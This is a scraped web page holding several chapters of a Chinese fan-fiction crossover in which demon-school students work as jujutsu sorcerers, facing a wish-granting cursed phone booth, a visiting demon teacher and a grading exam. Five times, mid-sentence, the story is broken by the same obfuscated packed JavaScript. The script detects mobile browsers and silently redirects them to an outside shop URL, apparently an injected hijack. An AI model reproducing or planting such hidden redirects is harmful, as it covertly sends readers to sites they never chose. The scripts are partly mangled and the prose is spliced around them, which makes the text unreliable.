;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16608439|187507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 代,两位老人才愿意松口给水蛭一样的儿子儿媳钱。 所以,她愿意傻乎乎地去爱一个竞争对手。 “爱子也很爱我的对吧?”姐姐西野笑眯眯地看着自己手里的手机,脸上颇为新奇,“这可是爱子用自己的比赛奖金给我买的呢,有了这个,就不用担心我的安全啦。” 但是最后其实这个在她心里无所不能的聪明妹妹什么都没有保护到。 “一开始她像往常一样拖着一身伤回家,因为电车上遇到一个神经病,逃出来之后发现了这个电话亭,在午夜十二点,能够打电话给‘归还大人’,许愿杀死一个人……”西野一边讲述着因由,一边无意识拨弄着口袋里的硬币,“这个世界对她来说太恐怖了,恐怖又残忍……直到后来实在受不了了,就真的许了愿……” “因为她发现,那对人渣,让我考进了她现在所在的那个高中,就因为那个学校有给优等生开设的高额奖学金。” “她真的不太聪明,发现这样恐怖的东西之后,居然真的许愿了,许愿了一个被吉野纯子从楼上推下去的死法。这样……她认为这样就可以惩罚这个人了,即使不能,也能震慑一下那群人,保护一下我。” “结果你们也看到了,这群人安然无恙,反而是爱子的信息都被抹除了,甚至让我直接跳级成为他们的同学,覆盖掉爱子曾经的人生轨迹。” 就像是姐姐西野叫自己的妹妹爱子,妹妹西野也会叫自己的姐姐爱子,可能两个人都在下意识地希望对方真的像这个名字一样能得到爱吧? “在实验之前我经常来这里观摩,大概是被欺负的学生中也有什么联系方式,好几个学生都过来许愿过,不过都是许愿一个没有痛苦的死亡方式。” “在观察中,我也发现了这个东西确实不是什么真的能够许愿的神明,而是类似于邪神的东西。许愿别人死去,那么自己也要付出代价,许愿夺走别人的生命,也就会被夺走生命,只会比前面一个晚一天。” “大概那位‘归还大人’也要气死了吧?毕竟那群笨蛋只会伤害自己,许愿自己的死亡。” “所以……”入间有点愕然地看着她,“所以吉野纯子死了,不是因为诅咒,而是……” “而是类似于反噬。”当事人有些愉快地肯定了他的猜想。 “他们都不是什么有脑子的人,我误导了一下,让他们通过强迫别人实验进行‘观察’,以为只要献出祭品……或者说替死鬼,就能逃出生天。”具体情况被有点含混地一笔带过,不过想想也知道是多残忍的事情,“于是他们真信了,都死得很凄惨。” “姐姐的灵魂被‘归还大人’带走,肯定是无法成佛的,所以我也跟来了。”趁着他们还沉浸在这个真相中,妹妹西野爱子快步走到骤然亮起的电话亭里,关上了门,将硬币投了进去,“既然要在地狱里,那就一起吧。” “可是你……” “我大概没有说过的吧。”西野爱子对着他们说,而他们也奇异地看懂了她的口型,“我家的那把火,是我放的。” 所以作为有罪之人,她也理应受到惩罚。 入间上前几步,路灯和电话亭里的灯光都骤然熄灭,再亮起来的时候,内部空无一人,只有一支支离破碎的手机,屏幕上,还能隐约看清是一对姐妹,对着镜头无知无觉地笑着,灿烂美丽。 20.学长? 西野姐妹的故事结束了,但是事情并没有解决。或者不如说是,因为西野姐没身上发生的事情,才更应该解决这个咒灵。 “规则类咒灵需要触发条件,现在看来就是投币、打电话给‘归还大人’,然后朝着它许愿……”入间喃喃,然后转过头,对着辅助监督表情严肃,“所以,您有硬币吗?” 以为入间要放出什么豪言壮志的辅助监督:“……” “啊,有的,不过你们……” 转换的是不是有点太快了?! 还以为年轻人多少会因为类似的事情产生怜悯之类情绪的来着。 “正是因为这样的不幸太深刻,才更应该从源头上避免啊!”入间抬起脚往电话亭走。 暗淡的路灯闪烁片刻,因为新的猎物的靠近,和电话亭一起重新亮了起来。 进入这个密闭的空间,入间环顾左右打量着周围的环境,不管怎么看都是一个普通的电话亭,甚至于话筒光洁明亮,看上去很新,从里面的玻璃格子看外面,还有几分安宁温馨。 捡起地上的手机放进口袋,入间才发现下面压着一张捏上去有些厚度的纸,上面用红色的字迹歪歪扭扭地写着一串号码,以及“如果有想要杀死的人,请告知‘归还大人’,并在第二天献上祭品”之类意思的话。 出于一种有点恐怖的直觉,入间稍微用指甲撬了一下纸张边缘,惊讶发现这张纸出现了分层。再沿着边缘缓慢分开,一行不像是红笔更像是鲜血的字体映入眼帘。 号码是一模一样的,但是上面分明写着“拨打电话,并说出‘归还大人帮帮我’,杀死你最恨的人”。 想来也可能是西野制造的障眼法。 投入硬币,入间深吸一口气,拨打了触发咒灵的号码。 “滴滴滴——滋啦——”伴随着电流的杂音,入间清楚地听到了西野的声音,“你好,请问你有什么心愿?” 那道声音过于逼真,以至于入间真的差点以为这是伥鬼的交替,里面真的是西野了。 难道这也是咒灵引诱的手段? 所以妹妹西野才选择了这样的离开吗? 努力让自己定了定神,入间看了一眼电话亭外的阿斯莫德,然后深吸一口气,说出他们在得知了“归还大人”性质之后商讨出来的人选:“你好,请帮我杀死……阿斯莫德·艾利斯,在今天的凌晨一点之前。” “咚!”像是什么被投进了空木箱发出碰撞声,对面回答,“如你所愿。” 推开电话亭的大门,入间回到阿斯莫德身边,几乎是刚触碰到他,就打了个冷颤,一种令人毛骨悚然的危机感沿着脊背攀升:“来了!” 他们的计划制定得非常简单——打电话,诅咒阿斯莫德,然后趁着阿斯莫德被卷入咒灵的术式甚至领域的时候,利用入间和阿斯莫德灵魂交缠的状态,被判定成同一个人,然后两个人一起解决咒灵。 咒灵一般很少有与人类等同的智慧,所以计划不在于缜密,有用就行。 伴随着明明灭灭的灯光,一道惨白的身影出现在了不远处的路灯下,嘴里发出几乎是无数人的叹息叠在一起的和声:“如你所愿……如你所愿……” 几乎只是一瞬间,伴随着轻微的失重感,回过神,入间和阿斯莫德发现自己身处在狭小的电话亭内,不同于电话亭内的光明,外面黑得伸手不见五指。 在这种近乎于死寂的黑暗中,伴随着悉悉簌簌的衣料摩擦声,密密麻麻、容貌相异、充斥着各个年龄段的人形忽然扑上了电话亭,前赴后继地撞击着,似乎想要拉着电话亭里的活人一起下地狱。 “一起……一起……来陪我们吧……” 入间像是想到了什么,认真地在这些人脸中努力辨别,果不其然看到了紧紧贴在一起的西野姐妹,和表情痛苦的吉野纯子和石丸真树。 “多么美丽的感情,即使是在地狱中也要继续纠缠……”顺着入间的视线,阿斯莫德也很快注意到了西野姐妹,这副样子似乎意外很符合他的美学,“所以你们放心吧,我们会给予你们永恒的安宁!” 入间不知道为什么脚趾用力地抓了一下地,但还是点点头:“没错!” 然后像是被激怒一般,电话亭被其他人用力地挤压摇晃,再怎么结实的材料在密密麻麻的人潮攻击下也很难保持稳定。 “击败咒灵,就要寻找咒灵领域内部的核心……”入间牢记辅助监督的叮咛,在摇摇欲坠的电话亭里掏出灾厄之书,开启咒力热成像模式,也可以说是低配版本六眼,开始环顾四周。 事实证明,现在所能检测到的咒力,最强烈的就是这个电话亭。 那当然了,毕竟外面都是被操纵的怨灵……像是意识到了什么,入间愣了一下。 阿斯莫德关注到入间的怔愣,立刻低头询问:“入间大人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16609155|187507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 您找到核心了吗?” “阿兹君,请帮我把这群人打飞。” 玫瑰般艳丽的火焰随着大开的门冲了出来,呼啸着席卷那些被归还大人操纵的躯壳,却也照不透这伸手不见五指的黑暗。 “阿兹君,如果是普通人的话,遇到这种没办法打跑怨灵的情况,一定会努力呆在安全区域,也就是这个电话亭的内部,对吧?”入间抓住了自己稍纵即逝的直觉,“那么现在即使是那些曾经的受害者已经被解决了,电话亭的咒力浓度依旧高居不下……” “也就是说……” 两人对上视线,异口同声:“其实我们一开始就被困在这个咒灵的内部了!” 就像是猪笼草,将猎物困在自己身体内部,逐渐消化着猎物,直到同化为一体。 而这只咒灵的高明之处在于创造了新的外部威胁,那么为了安全,受害者就会选择努力维持电话亭的安全,抵抗源源不断的怨灵,而挤不出时间思考其他。 灾厄之书微不可察、逐渐下降的能量条更是佐证了这点猜想。 推开电话亭的门,入间抬手,恶食戒指内汹涌的能量化作熊熊燃烧的烈焰,和阿斯莫德的火焰混合,击中了黑暗中那个忍不住让人依赖的庇护所。 “砰——” 废弃厂房的路灯和电话亭内部都莫名其妙开始疯狂闪烁,像是什么在垂死挣扎。伴随着一声惊天动地的响声,两个少年安然无恙地从暗淡无光的电话亭里走了出来:“咳咳咳……没了咒灵盘踞,一直敞开着门,里面灰还是挺大的。” 明明是抱怨,少年们的脸上却是明亮的笑意。 辅助监督看着他们,也不由得露出微笑:“我似乎明白为什么五条大人希望我来成为你们的辅助监督了。” 这下子轮到入间和阿斯莫德惊讶了:“五条?” 目前和他们有接触的五条,好像就只有之前那个怀疑入间身份的五条家六眼神子了。 “是的,五条悟大人。”辅助监督有点迷茫,“夜蛾先生没有告诉过你们吗?我是东京高专毕业的学生,后来因为术式比较特殊,被五条家聘请成为悟大人的辅助监督,因为他是你们的咒术师升级举荐人,所以让我来进行监督。” “完全没有告诉过呢。” “这家伙居然能是这么好心的人吗?” 果然不管多久都不是很能适应这个放养学生的世界! 21.两位老师的会面 虽然有点怀疑那个五条悟到底是什么用意,但是白送上门来的可靠辅助监督,不用白不用。 当然,在进行下一个任务之前,拥有一位专门的辅助监督对他们来说还没有什么实感,眼下更重要的是他们期待已久的召唤。 伴随着摊在桌子上的灾厄之书喷涌出充满不祥意味的紫黑色雾气,一个高大健硕的人形出现在小小的宿舍里,出现在入间和阿斯莫德面前的恶魔有着禽类的双足,灰白色的头发因为连日以来的实验而疏于打理,长到了脚边,呼吸声因为脸上掩住口鼻的铁罩而被无限放大,听起来像是喘着粗气的野兽。 因为来到陌生环境,来人取下了铁罩,露出带着很长一道疤痕、露出参差不齐獠牙的嘴角,似乎随时准备发起攻击。 “巴拉姆老师,好久不见!您还好吗?” “巴拉姆老师,久别重逢,不胜荣幸。” 在看清面前的两个少年之后,他的神色顿时柔和下来,宽厚有力的大手抚摸着学生们的脑袋:“有段时间没见了,入间和阿斯莫德,你们最近过得怎么样?我怎么会在这里,是你们研究出了什么新发明吗?” “我们过得还不错……不过,嗯,长话短说,巴拉姆老师,欢迎来到人类世界。” 巴拉姆:“……” 巴拉姆环顾四周,瞪大了眼睛:“?!” 阿斯莫德在熟悉的恶魔面前还是用回了之前的称呼:“入间大人,这么说会不会吓到巴拉姆老师……” “真的吗?”事实证明确实吓到了他,但是是另一种意义上的惊吓,“这里……这里是人类世界?你们是什么时候来到这里的?原来恶魔是可以被召唤到人类世界的吗?至于阿斯莫德同学……” “是的,我们两个恶魔因为一些、一些不知道为什么的原因,总之,来到了人类世界……”入间不知道为什么就是没办法鼓起勇气跟阿斯莫德坦白,大概就像之前所说,如果只有阿兹君一个恶魔,那听起来实在是太不幸了。 至于有没有多了别的原因,入间没有思考下去。 巴拉姆老师的性格是和自己庞大的身躯截然不同的温和体贴,虽然不明白为什么现在入间也没有坦白自己的身份,但一定有他的考量和道理,于是顺从地转变了话题:“失踪吗?你们来到人类世界多久了?” “大概已经有三四个月了。” “看起来魔界和人类世界的流速并不相同呢。”巴拉姆老师有点谨慎地把自己放在地上,摸着下巴思考。 大概是人类世界对于他来说实在是比较遥远,所以他对人类世界各种设施的坚固程度抱着最大的小心——实际上也确实如此,在皮糙肉厚的恶魔面前,即使是咒术师都不一定能讨到什么好处。 巴拉姆老师告诉自己焦虑的学生们:“实际上,在我的认知里,入间君和阿斯莫德君其实应该还在享受终末日假期的第二个星期。” 终末日,也就是学期结束之后的假期。 入间:“?!” 阿斯莫德:“!?” 这么说来,如果真的让老师帮忙带信回去,听起来也有点奇怪啊!像是那种离不开家里人的孩子一样! 不过这样的差距也不是一点好处都没有的:“这样说来,就算我们召唤了巴拉姆老师,也不会耽误您太多时间?甚至于如果有什么作业或者任务,我们还能让召唤过来的恶魔帮我们带过来?!” “不愧是入间大人!” 在确定两人的失踪时间并不算太长之后,入间算是放下心来,抓着巴拉姆老师的手,要带他去参观人类世界:“现在巴拉姆老师可以亲眼见证人类世界了!” 作为空想生物学的教师,巴拉姆老师即便是通过自己的努力推定了很多人类世界的相关信息,再经过入间的确认完善了相关的资料,跟真正见识到这个世界还是有区别的。 这也是入间选择在众多可靠长辈中,首先邀请巴拉姆老师来的重要原因之一。 于是就被巴拉姆老师的藤蔓裹住,然后挨个收到了巴拉姆老师像是撸小动物一样的摸摸,从入间到阿斯莫德,都没能逃过。 巴拉姆老师虽然感动于学生的心意,但是出于对入间作为人类的脆弱躯体的担忧还是追问:“你们真的没有需要我帮忙的事情吗?” “不用!” 正开心着,门口传来敲门声:“入间?阿斯莫德?悟君打电话来跟我说他给你们安排过来一个辅助……” 算得上年久失修的门锁一敲即碎,门“吱呀”一声打开,夜蛾就这么猝不及防地和自己两个学生身边高大的怪物对上视线:“危险!” “不不不!”入间连忙阻止两位老师打起来,大声道,“这位是我召唤出来的老师!” 夜蛾硬生生在学生面前停住了拳头:“……” 夜蛾:“?!” 等等,什么玩意儿? “事情是这样的……实不相瞒我们不算是咒术师,是另一个世界过来的恶魔,因为一些意外来到这个世界所以就入乡随俗成为咒术师了!”入间一口气说完之后凑到夜蛾耳畔,“不过夜蛾老师您不要担心,我是人类。” 夜蛾:“…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16655614|187507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 真的吗,我不信。 不过虽然很意外,但是结合悟君不会无的放矢的性格,以及阿斯莫德和社会的脱节程度,得到这样的答案,其实也在夜蛾的预想之中。 只是直接跨世界这点对于一个有点保守的中年人来说还是太超前了。 放着夜蛾自己消化信息,入间转过头对着巴拉姆老师介绍他们在这个世界的新老师:“这位是我们现在所在学校的师长夜蛾正道先生,是个看起来有点凶但是实际上很温柔的人……” 夜蛾看了看那个从地上站起来之后,脑袋顶着天花板、一看就不是人类的巨人,也一副充满害怕的样子,顿时陷入了沉默:“……” 难道说,我这副样子,对于恶魔来说也比较有威慑力吗? 一些奇怪的自信,增加了! “总之,现在我们在这个世界暂时生活,并且会努力找办法回去,首先就召唤巴拉姆老师来是因为巴拉姆老师一直对人类的世界很好奇,也想拜托巴拉姆老师帮我们传递信息给家长,让他们不要担心。” “巴拉姆老师?” 伴随着“咚”的一声巨响,入间扭过头,看到疯狂后退,结果一不小心在狭窄的宿舍里把入间的床狠狠撞飞,一整个贴在了墙上。 入间:“……” 不知道为什么总是觉得似曾相识。 好像巴拉姆老师刚知道自己是人类的时候就是类似的反应,甚至躲在了箱子后面,活像是因为怕踩到家里小猫崽子而蹲在沙发上的大型犬。 “你好……”夜蛾一边质疑恶魔胆子这么小真的没问题吗,一边拿出成年人的社交习惯进行寒暄,“在下夜蛾正道,是东京都立咒术高等专门学校的教师,目前正在负责一年级的教学,也就是是您的学生现在的老师。” 虽然之前悟君对他们进行过判断,但是发现确实不是一个种族甚至于不是一个世界,对他来说还是有点太超过了。 然后他作为一个浑身肌肉的壮汉,在进行握手社交之后,被眼前的恶魔像是撸猫一样摸了脑袋。 夜蛾:“……” 不知道为什么,在进入这里之后,无语的情绪格外强烈。 或者从收了两个神奇的学生开始,这种情绪就如影随形了。 “是这样的……因为人类比较脆弱所以……”入间干巴巴地笑了一下,努力找补,“所以……” 看着夜蛾老师那张会被当成黑/道大佬的脸,后面解释的话实在是说不出口。 不管怎么想这种慎重都有点让人觉得太奇怪了啊喂! 22.冥冥 虽然一开始召唤巴拉姆老师来的原因之一是希望老师能够亲眼见证一些“空想生物”,但是巴拉姆的职业素养还是让他准时出现在了操场上,带着自己的两个学生进行晨间训练。 汹涌的藤蔓在操场上蔓延,成年人合抱粗的枝条像拥有灵魂一样对着入间和阿斯莫德穷追猛打。 入间灵活地闪避着,虽然偶尔还是因为藤蔓没有丝毫恶意而不能感知,被绊一跤,但是比起之前第一次和巴拉姆老师见面的时候,被藤蔓绑得动弹不得,已经是相当明显的进步了。 而阿斯莫德也在积极和入间打配合,利用自己对火球术的精通,帮助入间熔断某些难以顾及的藤蔓。一个主动出击,一个施放火焰在一旁开路,不多时就顺利来到了巴拉姆面前,抓住了他用来指挥藤蔓的道具。 “很不错,即使是来到了比较平和的环境,你们的水平也没有下降。” 入间:“……” 竟然无法反驳呢,和偶尔魔兽入侵、反派追杀、同学倾轧的恶魔学院比起来,在学校里就真的单纯上学,目前遇到的咒灵也不属于致命类型,居然确实算得上平和。 可恶,我对平静生活的要求好像在不知不觉间变得很低了! 在进行了一场逐渐找回原来锻炼感觉的热身战斗之后,巴拉姆转过头看着自己跃跃欲试、貌似想要再来一场的两个学生,真心发问:“我在这里的话,是不是有些越俎代庖了?你们的老师会觉得失落吗?” 阿斯莫德耸耸肩:“恰恰相反,他还是挺忙的。” 毕竟高专不管是学生还是老师,都得出任务,也不知道为什么这个世界明明那么缺人,就是把咒灵的存在藏着掖着不让普通人知晓。 咒灵的存在一旦公开,那得制造多少岗位啊,说不定就有普通人能够参与并且分担的部分呢? 听到学生们肯定的回答,巴拉姆稍稍放下心来,看了看时间,算了算区别,又让他意识到了一个问题:“你们一直呆在这里,没问题吗?现在应该再过一会就该上课了吧?” 入间不知道自己该高兴还是心虚:“不,其实我们上课的时间也很不稳定。” 高专的上课时间视老师和学生是否同时有空为准,看老师邮件是否通知。而他们亲爱的夜蛾老师,看着路过办公室时,桌子上堆积成山的资料,恐怕今天也是很忙的一天呢。 “原来如此,人类的生活,果然非常闲适啊。” “不不不!”眼看着巴拉姆老师要对人类世界产生什么非常离谱的误解,入间连忙纠正,“这个学校属于特殊情况,人类世界的上学时间和恶魔还是很像的。” “这样吗?” “阿嚏——” 夹着一叠厚厚的资料,身后跟着白发少女的夜蛾在走廊上狠狠打了个喷嚏。 摇了摇头,他清了清嗓子,转头对着身边人道歉:“抱歉,这段时间确实辛苦你一直呆在京都校了,冥冥。” “没有什么辛苦的,夜蛾老师。”冥冥对着老师展示了一下自己手里的最新款手机,“其实他们的钱还挺好挣的。” 夜蛾:“……” 冥冥的赚钱头脑时常让他觉得,这人成为咒术师也是一种资源上的浪费。 “今天你回来,我刚好给你介绍一下之前没来得及见面的同班同学,今天下午一起去练习体术……” “砰——”一声巨响打断了夜蛾的话语,看到操场上的大战现场,夜蛾不由自主闭上了眼睛。 即使咒术师也不算什么正常人,但是在看到魔界来的同样是老师的生物,顶着铃木入间同学的咒力痕迹释放类似术式的造物时,还是不太能接受。 每每看到这位同行(?)再高专行走,真的会产生一种侵略性咒灵入侵、高专的结界警报安静如死的感觉。 尤其是看到已经被不知道这位……异世界同行(?)从哪里召唤出来的藤蔓成功顶翻了操场上的塑胶,以及仿佛被炮火轰炸过的地面时,一种“其实这份工作也不是非做不可”的淡淡死感也成功顶替事业心,占据了大脑。 成为高专老师,妻离子散并且每天都有新麻烦,夜蛾不由得扪心自问,当初择业时候决定成为高专老师,这个老师也真的是非当不可吗? “铃木同学是可以调伏咒灵的式神使吗?还是什么新的体术锻炼方式?”某种程度上是因为体术才想要放弃京都校、来选择夜蛾作为老师的冥冥颇为新奇地看着操场上的那一幕,“夜蛾老师,我能过去吗?” “这件事可能有些复杂……” 夜蛾组织着措辞试图开口,但是看到了他们的入间已经相当积极地对着他们挥手了:“夜蛾老师!冥冥同学!” 夜蛾:“……总之你们自己讨论吧。” 好疲惫,怎么会这么疲惫?! “是!”冥冥非常干脆地应了一声,然后直接翻出去,拖着不知道什么时候购买的咒具太刀就冲了过去,看上去相当来者不善。 “诶?!” 入间还处在“自己难道什么时候得罪同学了吗”的惊愕之中,就看到自己的同期气势汹汹来到巴拉姆老师面前,嘴里说着“得罪了”,手上却一点没客气地拎着太刀跟人家“乒乒乓乓”打了起来。 啊这…… “好适合魔界的人才!”阿斯莫德振奋的感慨说出了他的心声。 “你们好,我叫冥冥,是你们的同学。”点到为止的热身过后,这位只闻其名不见其人的同班同学对着他们伸出了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16673184|187507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 友好的手,“因为一些原因,之前在京都校学习,很高兴见到你们。” “你、你好。”入间跟她握了握手,干干巴巴不知道该找什么话题。 好吧,他还是不太擅长跟这种强势类型的女孩子打交道。 “这位是我……以前认识的老师。”不过冥冥似乎关注点也没怎么放在他身上,想了想,入间侧过身,顺着冥冥的视线介绍,“是个很厉害也很温柔的人。” “这位是阿斯莫德·艾利斯同学,也是我们班上的同学。” “看上去你们似乎认识。” “啊,是的,在之前的学校里,我们也是同学。” “真是遗憾啊。”冥冥耸了耸肩,语出惊人,“是老师的话,确实没有预想中那么方便雇佣了,希望你的老师能多来几次吧,毕竟没有人会觉得在咒术界当个弱者是好事的,对吧?” “雇、雇佣?” 冥冥眨了眨眼睛,听到入间的语气,不知道想到了什么,顿时循循善诱:“是的,雇佣。你不觉得吗?咒力可以强化身体,所以除非术式强到了一定程度,不然很多战斗其实可以依靠体术推平,术式不管是辅助还是别的什么都不要紧,战斗意识和体术可以弥补相当一部分的短板。” “而高专,尤其是东京校的相关资源,其实并不多,只在单一的教学下其实并不能将自身的实战经验锻练到极致,任务就更别指望了,那么如果能够和不同的人对练的话……” 入间似乎明白了什么——这就是冥冥大部分时间都呆在在京都校的原因吗? 不过他也没来得及问出口,突如其来的通讯打断了冥冥的发言,对面的声音颇为耳熟,像是之前来帮忙的京都校的庵歌姬同学:“冥冥——这次也……” 冥冥对他们表示感谢之后就急匆匆离开了,看样子应该是京都校有什么问题。 “有什么麻烦,可以找我。”他们的这位同班同学、也是京都校的编外人员微微一笑,背对着他们挥了挥手,因为是同学,所以可以打七折呢。” 入间:“?!” 怎么听出了一种事务所拓展业绩的感觉,好怪,不确定,再听一下。 而一旁似乎也被这番话启发到了什么的阿斯莫德也在若有所思地感慨:“人类世界,真是个神奇的地方。” 虽然目前暂时没有用上冥冥给的联系方式的地方,但是人类把咒力玩出花样的手段确实给了恶魔们一点启发——同样都是能量体,没道理咒术可以用来强化身体,魔力不行啊! 也正是因为这个插曲,巴拉姆老师并没有在这里呆太长时间,而是抱着一堆草稿和研究资料,心满意足地提前离开。 当然,也带上了他们报平安的信件。 23.评级考试 “喂,怎么这个样子?是看到老子,所以害怕了吗?” 入间抱着脑袋,听到耳畔出现的这句话,闭上眼,表情中透露出一股视死如归的绝望:“哈哈,当然没有,我只是在期待升级之后的工资而已,哈哈。” 这个月祓除几只咒灵之后,作为四级咒术师的工资就已经是曾经的入间想都不敢想的数字了,更别说真的升级成功会如何了。 不过…… 怎么会这样呢?跟魔界重新联系上、还收到了工资,明明都是值得高兴的事情,怎么现在他会这么难过…… 为什么!这次考试的陪同人员!是五条悟啊! 如果要说清楚这件事情发生的前因后果,那么进度条得拉到送别巴拉姆老师的当天晚上。 在宿舍里忽然收到银行卡消息,被告知天降横财、哦不,是本月工资到账的入间兴奋不已,仅存的惆怅一扫而空,并且拉着阿斯莫德去买了一大堆食物进行庆祝:“哇塞,咒术师的工资好高!比我上一份工作好多了!阿兹君,太好了,我们可以养活自己了!” 而阿斯莫德看起来也相当开心的样子:“太好了,我一定要努力挣钱,为了入间大人的大业添砖加瓦!” 他还是那么期待入间统治世界。 天知道,讨论未来的时候有多兴奋,在他和阿兹君在洗漱完毕回到宿舍之后看到门口守着的白发少年,那一刻的入间就有多想逃跑。 很可惜当然不能,被那双不知道为什么莫名让他毛骨悚然的漂亮眼睛盯着的时候,入间下意识抓住了阿斯莫德的手臂,试图把他拉到自己身后。 不管怎么样,他好歹还是人类,阿兹君被五条悟判断成咒灵的身份,再联想到作为咒术师都要祓除咒灵,自然会让入间下意识警惕。 “哼,老子是什么拆散情侣的封建大家长吗?”五条悟翻了个白眼,“呐,这是你们的升级任务,夜蛾那个熟人,叫什么来着,跟老子一样,是你们评级考试的监考官,你们俩得分开考试,夜蛾跟你们说过吗?” “嗯,说过的。”入间欲哭无泪地点了点头,完全没空在意五条悟的离谱比喻,“但是真没想到是你亲自过来,哈哈,五条君,好巧。” “不巧,我就是来盯着你们的。”五条悟一脚踹翻所有台阶,眼睛里流露出一股不怀好意的意味,“这么害怕老子?那老子只好选择跟着你的好朋友了。” “不不不,请务必跟着我!” 什么?!让这种不定时炸弹呆在阿兹君身边?入间绝对不能容忍这种事情。 “入间君,你无需委屈自己,我愿意和这……唔!” 入间伸手捂住阿斯莫德的嘴,疯狂摇头,睁着眼睛说瞎话:“哈哈哈哈阿兹君也很期待这次考试吗?我也是,真好奇接下来会发生什么啊哈哈哈哈哈……” 不要硬碰硬啊,阿兹君! 总之就这么定下来了,入间作为人类一力揽下了任何可能“出卖”阿斯莫德身份的任务或者人类,这也意味着这次出任务,他本身的风险被提高到了最大。 “还以为顶着你的‘咒力’出现的咒灵还在呢,没意思。”五条悟完全不遮掩自己想要跟入间的“咒灵”打一架的想法,有点无趣地在一旁舒展身体。 入间:“……” 还好已经把巴拉姆老师送回去了。 不知道为什么,大概是入间的直觉,他总觉得跟眼前这人对上,即使是巴拉姆老师,恐怕也不太能占到什么上风。 战战兢兢翻开资料打发时间,入间的眉头狠狠一跳:“地下……偶像?!” 这次的委托属于官方委托,不过提出委托的是某个知名艺人事务所,他们旗下有很多经常出现在红白歌会*上的艺人,不过主要组成部分还是地下偶像。 也正是因为地下偶像在他们的营业中不可或缺,在发现其中出现了类似于超自然事件,影响到正常生活之后,事务所才会这样迫切地请咒术师们介入。 想起之前堪称“惨痛”的两次女装演出经历,入间下意识环顾四周,脚趾悄悄地蜷缩起来。 魔界当然也有偶像行业,因为恶魔有恶周期,在恶周期中,暴虐倾向会不可遏制地高涨,大家的性格恶劣面会被无限放大,因此,恶抖露应运而生,【悪取る】即【消 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16690183|187507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 除恶意】的意思。 恶抖露们类似于偶像,通过演唱会在某种程度上对恶魔们恶周期的精力进行消磨,维持稳定。 虽然说起来可能有点羞耻,但是入间确实女装上台扮演过恶抖露伊露米,甚至于效果不错。 第一次是因为一不小心说了什么导致恶魔偶像库洛姆气晕过去,被发现发烧,为了给她恢复时间赶鸭子上架,带着阿兹君和他们的朋友克拉拉一起上台表演。 第二次是为了还人情,为了替库洛姆挡下读作死对头、实为暗恋者的恶抖露嘉莉。 但是!但是入间绝对绝对不愿意女装再次出马当偶像的!没错,就是这样! “因为那群胆小鬼认为不能打草惊蛇,所以要求我们潜入的时候需要悄悄调查……”五条悟的声音忽远忽近,入间一抬头,就被他用卷起来的资料捅咕了一下,“喂,你听到了吗?” 怀着心事的入间听是听进去了,但是嘴巴却不受控制地脱口而出:“需要女装吗?不,我的意思是,我觉得我们应该徐徐图之……” 啊啊啊啊要命,怎么一不小心就说出来了?! 五条悟有点意外地挑了挑眉:“有点意思,确实是个好办法。” 入间抱着脑袋像猫猫头无助尖叫:“不不不,我的意思是,我……只是口误,其实应该从助理开始应聘才比较合适吧?总之我什么都没说啊啊啊啊——” “哈?你自己提出来的建议,难不成还是老子在强迫你吗?” 入间疯狂摆手:“不……这当然是我的问题,可是……总之拜托了,千万不要啊!” 五条悟冷笑一声,学着他的样子,也一起摆手:“那老子也拜托你,你提出来的建议自己去实现好不好——” “叮——” 像是触发了什么关键词,入间深吸一口气,努力捂住自己的嘴巴,但是底层代码一旦运行,就完全不是自己能够控制的了。 于是入间听到了自己的声音:“好、好的!” 五条悟:“……” 